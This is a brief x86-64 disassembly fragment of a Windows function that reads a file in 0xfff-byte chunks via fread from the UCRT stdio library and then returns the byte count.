mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000243e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000245e
cmp rbx, rax
ja 0x140002410
test rbx, rbx
je 0x14000245e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret